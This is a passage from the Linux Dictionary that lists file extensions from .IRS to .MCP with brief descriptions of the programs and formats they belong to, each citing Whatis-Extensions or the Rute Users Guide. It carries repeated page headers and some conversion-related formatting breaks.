<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .IRS**
Resource file (WordPerfect for Windows) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .ISD**
Spell checker dictionary (RapidFile) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .ISH**
Compressed archive (ISH) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .ISO**
<http://searchCIO.techtarget.com/sDefinition/0,,sid19_gci214046,00.html> Lists the files on a CD-ROM; based on the ISO 9660 CD-ROM file system standard From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Linux Dictionary

- .ISO**
ISO (International Standards Organization table, aka: ISO) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .ISP**
Sign-up file(X-Internet) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .IST**
Instrument file (Digitaltracker) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .ISU**
Uninstall script (InstallShield) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .IT**
Music module (MOD) (Impulse Tracker) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .IT**
Settings file (intalk) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .ITF**
Interface file (JPI Pascal TopSpeed) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .ITI**
Instrument file (Impulse Tracker) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .ITS**
Internet document set (possibly a Microsoft file) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .ITS**
Sample file (Impulse Tracker) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .IV**
Open Inventor file From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .IVD**
Microdata dimension or variable-level file (Beyond 20/20) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .IVP**
User subset profile (Beyond 20/20) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .IVT**
Table or aggregate data (Beyond 20/20) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .IVX**
Microdata directory (Beyond 20/20) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .IW**
Presentation flowchart (IconAuthor-HSC Interactive) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .IW**
Screensaver (Idlewild) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Linux Dictionary

.IWA

Text file (IBM Writing Assistant) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.IWC

Install Watch document From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.IWM

Start file (IconAuthor) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.IWP

Text file (Wang) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.IZT

Binary token file (IZT) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.J62

Ricoh camera file From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.JAR

Java ARchive (a compressed file for applets and related files) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.JAS

Graphic (Generic) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.JAVA

Source code (Java) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.JBD

Datafile (SigmaScan) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.JBF

Image browser file (Paint Shop Pro) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.JBX

Project file (Project Scheduler 4.0) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.JFF

JPEG <http://searchWebServices.techtarget.com/sDefinition/0,,sid26_gci212425,00.html> image
From Whatis-Extensions <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.JFIF

JPEG <http://searchWebServices.techtarget.com/sDefinition/0,,sid26_gci212425,00.html> image
From Whatis-Extensions <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.JIF

JPEG <http://searchWebServices.techtarget.com/sDefinition/0,,sid26_gci212425,00.html> image
From Whatis-Extensions <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.JMP

Discovery chart-to-statistics (SAS JMP) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.JN1

Jill of the Jungle data (Epic MegaGames) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Linux Dictionary

.JNB

Workbook file (Sigma Plot 5) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.JOB

Vector graphics file created by conversion of a IMG file (QuestVision) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.JOR

Journal (Microsoft SQL Server) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.JOU

Journal backup (VAX Edt editor) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.JPC

Graphic (Japan PIC) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.JPE

JPEG <http://searchWebServices.techtarget.com/sDefinition/0,,sid26_gci212425,00.html> image
From Whatis-Extensions <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.JPEG

<http://searchWebServices.techtarget.com/sDefinition/0,,sid26_gci212425,00.html> From
Whatis-Extensions <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.JPEG

compressed bitmap From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.JPG

JPEG bitmap From Whatis-Extensions <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.jpg, .jpeg

JPEG image file. From Rute-Users-Guide
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.JS

JavaScript source code From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.JSD

Jet Suite document (eFAX) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.JSP

A HTML page containing a reference to a Java servlet From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.JTF

Bitmap graphic (JPEG Tagged Interchange Format) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.JTF

Fax document (Hayes JT Fax) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.JTF

JPEG bitmap From Whatis-Extensions <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.JTK

Java ToolKit file (Sun Microsystems) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.JW

Linux Dictionary

- Text document (JustWrite) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .JWL**
Library (JustWrite) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .JZZ**
Spreadsheet (Jazz) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .K25**
Sample file (Kurzweil 2500) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .KAR**
MIDI file (text+MIDI) (Karaoke) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .KB**
Keyboard script (Borland C++ 4.5) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .KB**
Program source code (Knowledge Pro) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .KBD**
Keyboard mapping script (Procomm Plus, LocoScript, Signature) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .KBM**
Keyboard mapping script (Reflection 4.0) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .KCL**
Lisp source code (Kyoto Common Lisp) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .KDC**
Image (Kodak Photo-Enhancer) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .KEX**
Macro (KEDIT) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .KEY**
Datafile (Forecast Pro) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .KEY**
Icon toolbar (DataCAD) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .KEY**
Keyboard Macro From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .KEY**
Security file (Such as a software registration number) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .KFX**
Image (KoFax Group 4) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .KIZ**

Linux Dictionary

Digital postcard (Kodak) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.KKW

Contains all K-keywords in the RoboHELP Help project Index Designer not associated with topics
From Whatis-Extensions <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.KMP

KeyMaP (Korg Trinity) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.KPP

Toolpad (SmartPad) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.KPS

Bitmap graphic (IBM KIPS) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.KQP

Native Camera file (Konica) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.KR1

Sample (multi-floppy) file (Kurzweil 2000) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.KRZ

Sample file (Kurzweil 2000) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.KSF

Sample File (Korg Trinity) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.KYB

Keyboard mapping (FTP) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.KYE

Game data (Kye) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.L

Linker directive file (WATCOM wlink) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.L

Source code (Lex) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.L

Source code (Lisp) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.LAB

Datafile (NCSS-SOLO) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.LAB

Label file (Visual dBase) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.LAB

Mailing labels (Microsoft Excel) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.LAN

Linux Dictionary

- Loadable module (LAN DLL) (NetWare) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .LAY**
Clipart file (Printmaster Gold) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .LAY**
Word Chart layout (APPLAUSE) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .LBG**
Label generator data (dBase IV) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .LBL**
Label (Clipper 5) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .LBL**
Label (dBase IV) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .LBL**
Label (dBFast) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .LBM**
Bitmap (DeluxePaint) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .LBM**
Linear Bitmap graphics (XLib) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .LBO**
Compiled label (dBase IV) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .LBR**
Compressed archive (LU) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .LBR**
Display driver (Lotus 1-2-3) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .LBT**
Labels (Microsoft FoxPro) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .LBX**
Labels (Microsoft FoxPro) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .LCF**
Linker control file (Norton Guides compiler) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .LCH**
Used in a program (unknown) that monitors a network's response time From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .LCK**
Lockfile (Paradox) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .LCL**

Linux Dictionary

- .LCN** Datafile (FTP) From Whatis-Extensions <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .LCS** Lesson document (WordPerfect for Windows) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .LCW** Data History file (ACT!) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .LD** Spreadsheet (Lucid 3-D) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .LD1** Long distance area codes file (Telix) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .LDB** Overlay file (dBase) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .LDF** Lock file (Microsoft Access) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .LDF** Library definition file (Geoworks Glue) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .LDIF** Structured text file used for sharing information between E-Mail clients (Microsoft, Netscape and others) From Whatis-Extensions <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .LDL** Library (Corel Paradox) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .LEG** Legacy document From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .LES** System game profiles (same as REG file) (Logitech Entertainment) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .LEV** Level file (NetHack 3.x) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .LEX** Dictionary file (Generic) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .LFD** Data resource file (LucasArts Dark Forces) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .LFP** LaserForms Plus file (Evergreen) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .LFT** Laser printer font (ChiWriter) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .LFT**

Linux Dictionary

- Loft file (3-D Studios) (DOS) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .LG**
- Logo procedure definition (LSRHS Logo) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .LGC**
- Application log file From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .LGD**
- Application log file From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Linux Dictionary

Output file produced by a Structured Query Reporting (SQR) program From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.LIX

Logos library system file From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.lj

LaserJet file. Suitable input to a HP LaserJet printer. From Rute-Users-Guide
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.LJ

Text file (Hewlett-Packard LaseJet II printer) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.LK

Database file (OpenSight-16 bit) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.LKO

Linked object (Microsoft Outlook Express Junkmail file) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.LL3

Document file (LapLink III) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.LLX

Exchange agent (Laplink) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.LNK

Datafile (Revelation) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.LNK

Linker response file (RTLink) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.LNK

Shortcut file (Microsoft Windows 9.x) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.LOD

Load file (Generic) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.LOG

Log file (Generic) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.log

Log file of a system service. This file grows with status messages of some system program. From Rute-Users-Guide <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.LOK

Compressed file (FileWrangler) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.LP

A document reader used for downloading mortgage closing information (DesertDocs) From Whatis-Extensions <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.LPC

Printer driver (TEKO) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.LPD

Linux Dictionary

- Helix Nuts and Bolts file From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .LPI**
Information file for laser printers (common with some scanning software) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .LRC**
Video phone file (Intel) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .LRF**
Linker response file (Microsoft C/C++) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .LRS**
Language resource file (WordPerfect for Windows) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .LSF**
Logos library system file From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .LSL**
Saved library (Corel Paradox) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .LSL**
Script library (Lotus) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .ism**
LINUX Software Map entry. From Rute-Users-Guide
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .LSP**
AutoLISP, CommonLISP, and other LISP language files From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .LSS**
Spreadsheet (Legato) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .LST**
Keyboard macro (1st Reader) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .LST**
List file (Generic) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .LST**
Spool file (Oracle) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .LTM**
Form (Lotus Forms) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .LU**
Library unit file (ThoughtWing) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .LVL**
Miner Descent/D2 Level extension (Parallax Software) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .LWD**

Linux Dictionary

Text document (LotusWorks) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.LWF

Wavelet graphics file (Luratech) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.LWLO

Layered Object file (Lightwave) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.LWOB

Object file (Lightwave) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.LWP

Wordpro 96/97 file (Lotus) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.LWSC

Scene file (Lightwave) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.LWZ

Linguistically enhanced sound file (Microsoft) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.LYR

Layer file (DataCAD) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.lyx

LyX word processor document. From Rute-Users-Guide
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.LZD

Difference file for binaries (Ldiff 1.20) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.LZH

Compressed archive (LH ARC) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.LZS

Compressed archive (LARC) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.LZS

Data file (Skyroads) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.LZW

Compressed Amiga archive (LHWARP) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.LZX

Compressed archive (Generic) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.M

Macro module (Brief) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.M

Program file (Matlab) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.M

Linux Dictionary

- Standard package (Mathematica) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .M11**
Text file (MASS11) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .M1V**
MPEG-related file (MIME type 'mpeg') From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .M3**
source code file (Modula 3) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .M3D**
3D animation (Corel Motion) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .M3U**
MPEG URL (MIME audio file) (MP3 Playlist) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .M4**
M4 Preprocessor file (Unix) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MA3**
Macro (Harvard Graphics 3.0) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MAC**
Image (MacPaint) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MAC**
Macro (Generic) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MAD**
Module (Microsoft Access) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MAF**
Form (Microsoft Access) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MAG**
A graphics format found in some Japanese files From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MAG**
MAG graphics format created by Woody Lynn (MPS Magro Paint System) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MAGIC**
Configuration file (Magic Mail Monitor) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MAI**
Mail (VAX) From Whatis-Extensions <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MAK**
Makefile (Generic) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MAK**

Linux Dictionary

Project (Visual Basic or Microsoft C++) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MAM

Macro (Microsoft Access) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MAN

Command module (Unix) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.man

Man page. From Rute-Users-Guide <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MAN

Manual page output (Unix) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MAP

Color palette (Generic) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MAP

Format data (Micrografx Picture Publisher) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MAP

Linker map file From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MAP

Map file (Atlas MapMaker) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MAP

Map file (Generic) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MAP

Map file used for color choices (Pro/Engineer) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MAP

Network map (AccView) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MAP

WAD <http://WhatIs.techtarget.com/definition/0,,sid9_gci213332,00.html> game file (Duke Nukem 3D) From Whatis-Extensions <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MAQ

Query (Microsoft Access) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MAR

Assembly program (VAX Macro) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MAR

Report (Microsoft Access) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MAS

Graphics file (Lotus Freelance Smartmaster) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

.MAT

Linux Dictionary

- Binary file (Matlab) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MAT**
Table (Microsoft Access) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MAUD**
Sample format (Maud) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MAX**
3D scene (Kinetix 3D Studio Max) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MAX**
Document (Paperport) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MAX**
Layout file (OrCad) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MAX**
Source code (MAX) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MAZ**
A format use by Division's dVS/dVISE From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MAZ**
Maze data file (Hover) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MB**
Memo field values for database (Paradox) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MB1**
Data file (Apogee Monster Bash) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MBK**
Multiple index archive (dBase IV) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MBOX**
Mailbox file (Berkeley Unix) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MBX**
Extension Microsoft Outlook adds to saved email, Eudora mailboxes From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MCC**
Calling card (Dialer10) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MCC**
Configuration file (MathCad) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MCD**
Document (MathCad) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MCF**

Linux Dictionary

- Font file (MathCad) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MCF**
Magic control file From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MCI**
Command script (Media Control Interface) From Whatis-Extensions
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>
- .MCP**
Application script (Capsule) From Whatis-Extensions
